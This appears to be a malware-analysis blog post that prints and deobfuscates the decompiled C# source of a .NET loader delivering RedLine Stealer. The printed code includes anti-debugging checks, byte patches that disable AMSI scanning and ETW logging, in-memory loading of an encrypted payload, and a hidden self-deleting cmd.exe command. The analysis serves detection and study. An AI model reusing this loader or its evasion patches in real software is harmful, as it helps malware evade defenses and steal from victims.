// ZZQPHWIYvADFZjHmvZKI.iyxRPGYRPkXbdjnyAvJD
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using ZZQPHWIYvADFZjHmvZKI;

internal class iyxRPGYRPkXbdjnyAvJD
{
    private delegate bool IgOkpazAMCNVDtrLruZu(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    private delegate bool irjkliDHCvdlsAXDyoyk(IntPtr hProcess, ref bool isDebuggerPresent);

    private delegate bool JSxdYaZcqUtDBTLqWEYh();

    [DllImport("kernel32.dll")]
    private static extern IntPtr LoadLibrary(string lpFileName);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    private static void Main(string[] args)
    {
        string fileName = Process.GetCurrentProcess().MainModule.FileName;
        File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);
        IntPtr hModule = LoadLibrary("kernel32.dll");
        IntPtr procAddress = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        IntPtr procAddress2 = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        irjkliDHCvdlsAXDyoyk irjkliDHCvdlsAXDyoyk = (irjkliDHCvdlsAXDyoyk)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(irjkliDHCvdlsAXDyoyk));
        JSxdYaZcqUtDBTLqWEYh jSxdYaZcqUtDBTLqWEYh = (JSxdYaZcqUtDBTLqWEYh)Marshal.GetDelegateForFunctionPointer(procAddress2, typeof(JSxdYaZcqUtDBTLqWEYh));
        bool isDebuggerPresent = false;
        irjkliDHCvdlsAXDyoyk(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
        if (Debugger.IsAttached || isDebuggerPresent || jSxdYaZcqUtDBTLqWEYh())
        {
            Environment.Exit(1);
        }
        IntPtr procAddress3 = GetProcAddress(hModule, "VirtualProtect");
        IgOkpazAMCNVDtrLruZu igOkpazAMCNVDtrLruZu = (IgOkpazAMCNVDtrLruZu)Marshal.GetDelegateForFunctionPointer(procAddress3, typeof(IgOkpazAMCNVDtrLruZu));
        IntPtr hModule2 = LoadLibrary("amsi.dll");
        IntPtr procAddress4 = GetProcAddress(hModule2, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("X6S4bPdO9bEc5JMhytQ97Q=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        byte[] array = (IntPtr.Size != 8) ? new byte[8]
        {
            184,
            87,
            0,
            7,
            128,
            194,
            24,
            0
        } : new byte[6]
        {
            184,
            87,
            0,
            7,
            128,
            195
        };
        igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect);
        Marshal.Copy(array, 0, procAddress4, array.Length);
        igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
        IntPtr hModule3 = LoadLibrary("ntdll.dll");
        IntPtr procAddress5 = GetProcAddress(hModule3, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("aFO2dVfMnsC2dX4t3isGdg=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        array = ((IntPtr.Size != 8) ? new byte[3]
        {
            194,
            20,
            0
        } : new byte[1]
        {
            195
        });
        igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect);
        Marshal.Copy(array, 0, procAddress5, array.Length);
        igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
        string @string = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("eqU9WF/Q2uAyFap3vw7P9g=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        string string2 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("ljEUT0uNy4Ar6FNzp9ikiQ=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        Assembly executingAssembly = Assembly.GetExecutingAssembly();
        string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
        foreach (string name in manifestResourceNames)
        {
            if (!(name == @string) && !(name == string2))
            {
                File.WriteAllBytes(name, KnzOkitkGMWCwIFLYBnU(name));
                File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
                new Thread((ThreadStart)delegate
                {
                    Process.Start(name).WaitForExit();
                    File.SetAttributes(name, FileAttributes.Normal);
                    File.Delete(name);
                }).Start();
            }
        }
        byte[] rawAssembly = YRjkDCBPWiLZphgbMGuF(ChLRwkWLsbZOITDACYZb(KnzOkitkGMWCwIFLYBnU(@string), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        string[] array2 = new string[0];
        try
        {
            array2 = args[0].Split(' ');
        }
        catch
        {
        }
        MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
        try
        {
            entryPoint.Invoke(null, new object[1]
            {
                array2
            });
        }
        catch
        {
            entryPoint.Invoke(null, null);
        }
        string string3 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("yAq19rHi1jH5tbR+S4wvn2NMVvFuTfunmXwbSR/7Oj2vsk/HNr6wT2qCxgIuIt+u"), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        ProcessStartInfo processStartInfo = new ProcessStartInfo();
        processStartInfo.Arguments = string3 + fileName + "\" & del \"" + fileName + "\"";
        processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        processStartInfo.CreateNoWindow = true;
        processStartInfo.FileName = "cmd.exe";
        Process.Start(processStartInfo);
    }

    private static byte[] ChLRwkWLsbZOITDACYZb(byte[] input, byte[] key, byte[] iv)
    {
        AesManaged aesManaged = new AesManaged();
        aesManaged.Mode = CipherMode.CBC;
        aesManaged.Padding = PaddingMode.PKCS7;
        ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv);
        byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
        cryptoTransform.Dispose();
        aesManaged.Dispose();
        return result;
    }

    private static byte[] YRjkDCBPWiLZphgbMGuF(byte[] bytes)
    {
        MemoryStream memoryStream = new MemoryStream(bytes);
        MemoryStream memoryStream2 = new MemoryStream();
        GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
        gZipStream.CopyTo(memoryStream2);
        gZipStream.Dispose();
        memoryStream2.Dispose();
        memoryStream.Dispose();
        return memoryStream2.ToArray();
    }

    private static byte[] KnzOkitkGMWCwIFLYBnU(string name)
    {
        Assembly executingAssembly = Assembly.GetExecutingAssembly();
        MemoryStream memoryStream = new MemoryStream();
        Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name);
        manifestResourceStream.CopyTo(memoryStream);
        manifestResourceStream.Dispose();
        byte[] result = memoryStream.ToArray();
        memoryStream.Dispose();
        return result;
    }
}

We analyze the code step-by-step, while also removing the obfuscated strings and renaming the variables.

First the code sets the “System” and “Hidden” attributes of the executable of the current process.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
string fileName = Process.GetCurrentProcess().MainModule.FileName;
File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);
string fileName = Process.GetCurrentProcess().MainModule.FileName; File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);
string fileName = Process.GetCurrentProcess().MainModule.FileName;
File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);

It then fetches the address of two functions in Kernel32.dll.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
IntPtr hKernel32Module = LoadLibrary("kernel32.dll");
IntPtr procAddress = GetProcAddress(hKernel32Module,
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="),
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="),
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
IntPtr procAddress2 = GetProcAddress(hKernel32Module,
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="),
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="),
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
IntPtr hKernel32Module = LoadLibrary("kernel32.dll"); IntPtr procAddress = GetProcAddress(hKernel32Module, Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); IntPtr procAddress2 = GetProcAddress(hKernel32Module, Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
IntPtr hKernel32Module = LoadLibrary("kernel32.dll");
IntPtr procAddress = GetProcAddress(hKernel32Module, 
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), 
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), 
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
IntPtr procAddress2 = GetProcAddress(hKernel32Module, 
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), 
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), 
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));

The decryption function is the following:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
private static byte[] decrypt(byte[] input, byte[] key, byte[] iv)
{
AesManaged aesManaged = new AesManaged();
aesManaged.Mode = CipherMode.CBC;
aesManaged.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv);
byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
cryptoTransform.Dispose();
aesManaged.Dispose();
return result;
}
private static byte[] decrypt(byte[] input, byte[] key, byte[] iv) { AesManaged aesManaged = new AesManaged(); aesManaged.Mode = CipherMode.CBC; aesManaged.Padding = PaddingMode.PKCS7; ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv); byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length); cryptoTransform.Dispose(); aesManaged.Dispose(); return result; }
private static byte[] decrypt(byte[] input, byte[] key, byte[] iv)
{
    AesManaged aesManaged = new AesManaged();
    aesManaged.Mode = CipherMode.CBC;
    aesManaged.Padding = PaddingMode.PKCS7;
    ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv);
    byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
    cryptoTransform.Dispose();
    aesManaged.Dispose();
    return result;
}

We can decrypt strings with the same method used before, but we wrote a small script to be executed as an action (Ctrl+Alt+R):

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
from Pro.Core import *
from Pro.UI import *
import base64, binascii
v = proContext().getCurrentView()
if v.isValid() and v.hasSelection():
s = v.getSelectedText()
i_start = s.find('"') + 1
i_end = s.find('"', i_start)
inp = base64.b64decode(s[i_start:i_end])
k_start = s.find('"', i_end+1) + 1
k_end = s.find('"', k_start)
key = base64.b64decode(s[k_start:k_end])
iv_start = s.find('"', k_end+1) + 1
iv_end = s.find('"', iv_start)
iv = base64.b64decode(s[iv_start:iv_end])
flts = "<flts><f name='decrypt/aes' mode='cbc' chain='%s' block_length='16' key_length='32' key='%s'/></flts>" % \
(binascii.hexlify(iv).decode("ascii"), binascii.hexlify(key).decode("ascii"))
c = NTContainer()
c.setData(inp)
c = applyFilters(c, flts)
print(c.read(0, c.size()).decode("utf-8"))
c = None
from Pro.Core import * from Pro.UI import * import base64, binascii v = proContext().getCurrentView() if v.isValid() and v.hasSelection(): s = v.getSelectedText() i_start = s.find('"') + 1 i_end = s.find('"', i_start) inp = base64.b64decode(s[i_start:i_end]) k_start = s.find('"', i_end+1) + 1 k_end = s.find('"', k_start) key = base64.b64decode(s[k_start:k_end]) iv_start = s.find('"', k_end+1) + 1 iv_end = s.find('"', iv_start) iv = base64.b64decode(s[iv_start:iv_end]) flts = "<flts><f name='decrypt/aes' mode='cbc' chain='%s' block_length='16' key_length='32' key='%s'/></flts>" % \ (binascii.hexlify(iv).decode("ascii"), binascii.hexlify(key).decode("ascii")) c = NTContainer() c.setData(inp) c = applyFilters(c, flts) print(c.read(0, c.size()).decode("utf-8")) c = None
from Pro.Core import *
from Pro.UI import *
import base64, binascii

v = proContext().getCurrentView()
if v.isValid() and v.hasSelection():
    s = v.getSelectedText()
    
    i_start = s.find('"') + 1
    i_end = s.find('"', i_start)
    inp = base64.b64decode(s[i_start:i_end])
    
    k_start = s.find('"', i_end+1) + 1
    k_end = s.find('"', k_start)
    key = base64.b64decode(s[k_start:k_end])
    
    iv_start = s.find('"', k_end+1) + 1
    iv_end = s.find('"', iv_start)
    iv = base64.b64decode(s[iv_start:iv_end])
    
    flts = "<flts><f name='decrypt/aes' mode='cbc' chain='%s' block_length='16' key_length='32' key='%s'/></flts>" % \
        (binascii.hexlify(iv).decode("ascii"), binascii.hexlify(key).decode("ascii"))
    
    c = NTContainer()
    c.setData(inp)
    c = applyFilters(c, flts)
    print(c.read(0, c.size()).decode("utf-8"))
    c = None

If we select the text content in the decrypt function and run the code it prints out the decrypted string.

Once the two strings are decrypted the code becomes:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
IntPtr addressCheckRemoteDebuggerPresent = GetProcAddress(hKernel32Module, "CheckRemoteDebuggerPresent");
IntPtr addresssIsDebuggerPresent = GetProcAddress(hKernel32Module, "IsDebuggerPresent");
IntPtr addressCheckRemoteDebuggerPresent = GetProcAddress(hKernel32Module, "CheckRemoteDebuggerPresent"); IntPtr addresssIsDebuggerPresent = GetProcAddress(hKernel32Module, "IsDebuggerPresent");
IntPtr addressCheckRemoteDebuggerPresent = GetProcAddress(hKernel32Module, "CheckRemoteDebuggerPresent");
IntPtr addresssIsDebuggerPresent = GetProcAddress(hKernel32Module, "IsDebuggerPresent");

It then creates delegate for this two APIs:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
DelegateCheckRemoteDebuggerPresent delegateCheckRemoteDebuggerPresent =
(DelegateCheckRemoteDebuggerPresent)Marshal.GetDelegateForFunctionPointer(
addressCheckRemoteDebuggerPresent, typeof(DelegateCheckRemoteDebuggerPresent));
DelegateIsDebuggerPresent delegateIsDebuggerPresent =
(DelegateIsDebuggerPresent)Marshal.GetDelegateForFunctionPointer(IsDebuggerPresent,
typeof(DelegateIsDebuggerPresent));
DelegateCheckRemoteDebuggerPresent delegateCheckRemoteDebuggerPresent = (DelegateCheckRemoteDebuggerPresent)Marshal.GetDelegateForFunctionPointer( addressCheckRemoteDebuggerPresent, typeof(DelegateCheckRemoteDebuggerPresent)); DelegateIsDebuggerPresent delegateIsDebuggerPresent = (DelegateIsDebuggerPresent)Marshal.GetDelegateForFunctionPointer(IsDebuggerPresent, typeof(DelegateIsDebuggerPresent));
DelegateCheckRemoteDebuggerPresent delegateCheckRemoteDebuggerPresent =     
(DelegateCheckRemoteDebuggerPresent)Marshal.GetDelegateForFunctionPointer(
addressCheckRemoteDebuggerPresent, typeof(DelegateCheckRemoteDebuggerPresent));

DelegateIsDebuggerPresent delegateIsDebuggerPresent = 
(DelegateIsDebuggerPresent)Marshal.GetDelegateForFunctionPointer(IsDebuggerPresent,
 typeof(DelegateIsDebuggerPresent));

And it checks in various ways if a debugger is present. If one is detected, it quits.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
bool isDebuggerPresent = false;
delegateCheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
if (Debugger.IsAttached || isDebuggerPresent || delegateIsDebuggerPresent())
{
Environment.Exit(1);
}
bool isDebuggerPresent = false; delegateCheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); if (Debugger.IsAttached || isDebuggerPresent || delegateIsDebuggerPresent()) { Environment.Exit(1); }
bool isDebuggerPresent = false;
delegateCheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
if (Debugger.IsAttached || isDebuggerPresent || delegateIsDebuggerPresent())
{
    Environment.Exit(1);
}

It gets the address of VirtualProtect and creates a delegate for it:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
IntPtr addressVirtualProtect = GetProcAddress(hKernel32Module, "VirtualProtect");
DelegateVirtualProtect delegateVirtualProtect =
(DelegateVirtualProtect)Marshal.GetDelegateForFunctionPointer(addressVirtualProtect,
typeof(DelegateVirtualProtect));
IntPtr addressVirtualProtect = GetProcAddress(hKernel32Module, "VirtualProtect"); DelegateVirtualProtect delegateVirtualProtect = (DelegateVirtualProtect)Marshal.GetDelegateForFunctionPointer(addressVirtualProtect, typeof(DelegateVirtualProtect));
IntPtr addressVirtualProtect = GetProcAddress(hKernel32Module, "VirtualProtect");
DelegateVirtualProtect delegateVirtualProtect = 
(DelegateVirtualProtect)Marshal.GetDelegateForFunctionPointer(addressVirtualProtect, 
typeof(DelegateVirtualProtect));

It gets the address of AmsiScanBuffer in amsi.dll. The AmsiScanBuffer API is used to scan malware.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
IntPtr hAmsiModule = LoadLibrary("amsi.dll");
IntPtr addressAmsiScanBuffer = GetProcAddress(hAmsiModule, "AmsiScanBuffer");
IntPtr hAmsiModule = LoadLibrary("amsi.dll"); IntPtr addressAmsiScanBuffer = GetProcAddress(hAmsiModule, "AmsiScanBuffer");
IntPtr hAmsiModule = LoadLibrary("amsi.dll");
IntPtr addressAmsiScanBuffer = GetProcAddress(hAmsiModule, "AmsiScanBuffer");

It creates a different type of array depending if the platform is 32-bit or 64-bit (based on pointer size).

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
byte[] array = (IntPtr.Size != 8) ? new byte[8]
{
184,
87,
0,
7,
128,
194,
24,
0
} : new byte[6]
{
184,
87,
0,
7,
128,
195
};
byte[] array = (IntPtr.Size != 8) ? new byte[8] { 184, 87, 0, 7, 128, 194, 24, 0 } : new byte[6] { 184, 87, 0, 7, 128, 195 };
byte[] array = (IntPtr.Size != 8) ? new byte[8]
{
    184,
    87,
    0,
    7,
    128,
    194,
    24,
    0
} : new byte[6]
{
    184,
    87,
    0,
    7,
    128,
    195
};

It uses the array to patch the the beginning of the AmsiScanBuffer API.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
// sets the memory access to PAGE_EXECUTE_READWRITE
delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect);
// patches
Marshal.Copy(array, 0, addressAmsiScanBuffer, array.Length);
// restores the original memory access
delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
// sets the memory access to PAGE_EXECUTE_READWRITE delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect); // patches Marshal.Copy(array, 0, addressAmsiScanBuffer, array.Length); // restores the original memory access delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
// sets the memory access to PAGE_EXECUTE_READWRITE
delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect);
// patches
Marshal.Copy(array, 0, addressAmsiScanBuffer, array.Length);
// restores the original memory access
delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);

If we want to know what the patched bytes mean we can simply copy them to a text view, convert them to bytes and use two filters: convert/from_array (with default parameters) and disasm/x86.

The x86 instructions used to patch AmsiScanBuffer are:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
mov eax, 0x80070057
ret 0x18
mov eax, 0x80070057 ret 0x18
mov       eax, 0x80070057
ret       0x18

AmsiScanBuffer returns an HRESULT value and 0x80070057 stands for E_INVALIDARG. So the malware patches the API to return an error.

It then patches EtwEventWrite in ntdll.dll using the same method.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
IntPtr hNTDllModule = LoadLibrary("ntdll.dll");
IntPtr addressEtwEventWrite = GetProcAddress(hNTDllModule, "EtwEventWrite");
array = ((IntPtr.Size != 8) ? new byte[3]
{
194,
20,
0
} : new byte[1]
{
195
});
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect);
Marshal.Copy(array, 0, addressEtwEventWrite, array.Length);
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
IntPtr hNTDllModule = LoadLibrary("ntdll.dll"); IntPtr addressEtwEventWrite = GetProcAddress(hNTDllModule, "EtwEventWrite"); array = ((IntPtr.Size != 8) ? new byte[3] { 194, 20, 0 } : new byte[1] { 195 }); delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect); Marshal.Copy(array, 0, addressEtwEventWrite, array.Length); delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
IntPtr hNTDllModule = LoadLibrary("ntdll.dll");
IntPtr addressEtwEventWrite = GetProcAddress(hNTDllModule, "EtwEventWrite");
array = ((IntPtr.Size != 8) ? new byte[3]
{
    194,
    20,
    0
} : new byte[1]
{
    195
});
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect);
Marshal.Copy(array, 0, addressEtwEventWrite, array.Length);
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);

This time patching with just a simple ret instruction.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
ret 0x14
ret 0x14
ret       0x14

Then it goes through all the manifest resources of the .NET assembly and if their name doesn’t match either “payload.exe” or “runpe.dll”, it dumps them to disk and executes them.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
string payload_name = "payload.exe";
string runpedll_name = "runpe.dll";
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
foreach (string name in manifestResourceNames)
{
if (!(name == payload_name) && !(name == runpedll_name))
{
File.WriteAllBytes(name, getManifestResourceData(name));
File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
new Thread((ThreadStart)delegate
{
Process.Start(name).WaitForExit();
File.SetAttributes(name, FileAttributes.Normal);
File.Delete(name);
}).Start();
}
}
string payload_name = "payload.exe"; string runpedll_name = "runpe.dll"; Assembly executingAssembly = Assembly.GetExecutingAssembly(); string[] manifestResourceNames = executingAssembly.GetManifestResourceNames(); foreach (string name in manifestResourceNames) { if (!(name == payload_name) && !(name == runpedll_name)) { File.WriteAllBytes(name, getManifestResourceData(name)); File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System); new Thread((ThreadStart)delegate { Process.Start(name).WaitForExit(); File.SetAttributes(name, FileAttributes.Normal); File.Delete(name); }).Start(); } }
string payload_name = "payload.exe";
string runpedll_name = "runpe.dll";
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
foreach (string name in manifestResourceNames)
{
    if (!(name == payload_name) && !(name == runpedll_name))
    {
        File.WriteAllBytes(name, getManifestResourceData(name));
        File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
        new Thread((ThreadStart)delegate
        {
            Process.Start(name).WaitForExit();
            File.SetAttributes(name, FileAttributes.Normal);
            File.Delete(name);
        }).Start();
    }
}

In our case the only manifest resource is “payload.exe”. So this code won’t do anything.

The code then decrypts and decompresses “payload.exe” and runs it with arguments passed to Main.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
byte[] rawAssembly = decompressGZip(decrypt(getManifestResourceData(payload_name), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
string[] array2 = new string[0];
try
{
array2 = args[0].Split(' ');
}
catch
{
}
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
{
entryPoint.Invoke(null, new object[1]
{
array2
});
}
catch
{
entryPoint.Invoke(null, null);
}
byte[] rawAssembly = decompressGZip(decrypt(getManifestResourceData(payload_name), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); string[] array2 = new string[0]; try { array2 = args[0].Split(' '); } catch { } MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint; try { entryPoint.Invoke(null, new object[1] { array2 }); } catch { entryPoint.Invoke(null, null); }
byte[] rawAssembly = decompressGZip(decrypt(getManifestResourceData(payload_name), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
string[] array2 = new string[0];
try
{
    array2 = args[0].Split(' ');
}
catch
{
}
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
{
    entryPoint.Invoke(null, new object[1]
    {
        array2
    });
}
catch
{
    entryPoint.Invoke(null, null);
}

We decrypt “payload.exe”.

And again create a new root file with the GZip format.

At this point we reached the final stage.

The last part for the loader just uses “cmd.exe” to execute “payload.exe”.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
string cmd = "/c choice /c y /n /d y /t 1 & attrib -h -s \"";
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.Arguments = cmd + fileName + "\" & del \"" + fileName + "\"";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
processStartInfo.FileName = "cmd.exe";
Process.Start(processStartInfo);
string cmd = "/c choice /c y /n /d y /t 1 & attrib -h -s \""; ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.Arguments = cmd + fileName + "\" & del \"" + fileName + "\""; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; processStartInfo.CreateNoWindow = true; processStartInfo.FileName = "cmd.exe"; Process.Start(processStartInfo);
string cmd = "/c choice /c y /n /d y /t 1 & attrib -h -s \"";
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.Arguments = cmd + fileName + "\" & del \"" + fileName + "\"";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
processStartInfo.FileName = "cmd.exe";
Process.Start(processStartInfo);

The final stage is already recognized by scan engines as “RedLine Stealer”.

To be thorough, we extracted the payload from the second batch script as well. The final stage payload seems to be the same.

Interestingly, this sample had not yet been submitted to VirusTotal and this time 10 less scan engines detect the malware, although the class names and the code are the same.

Leave a Reply

Your email address will not be published. Required fields are marked *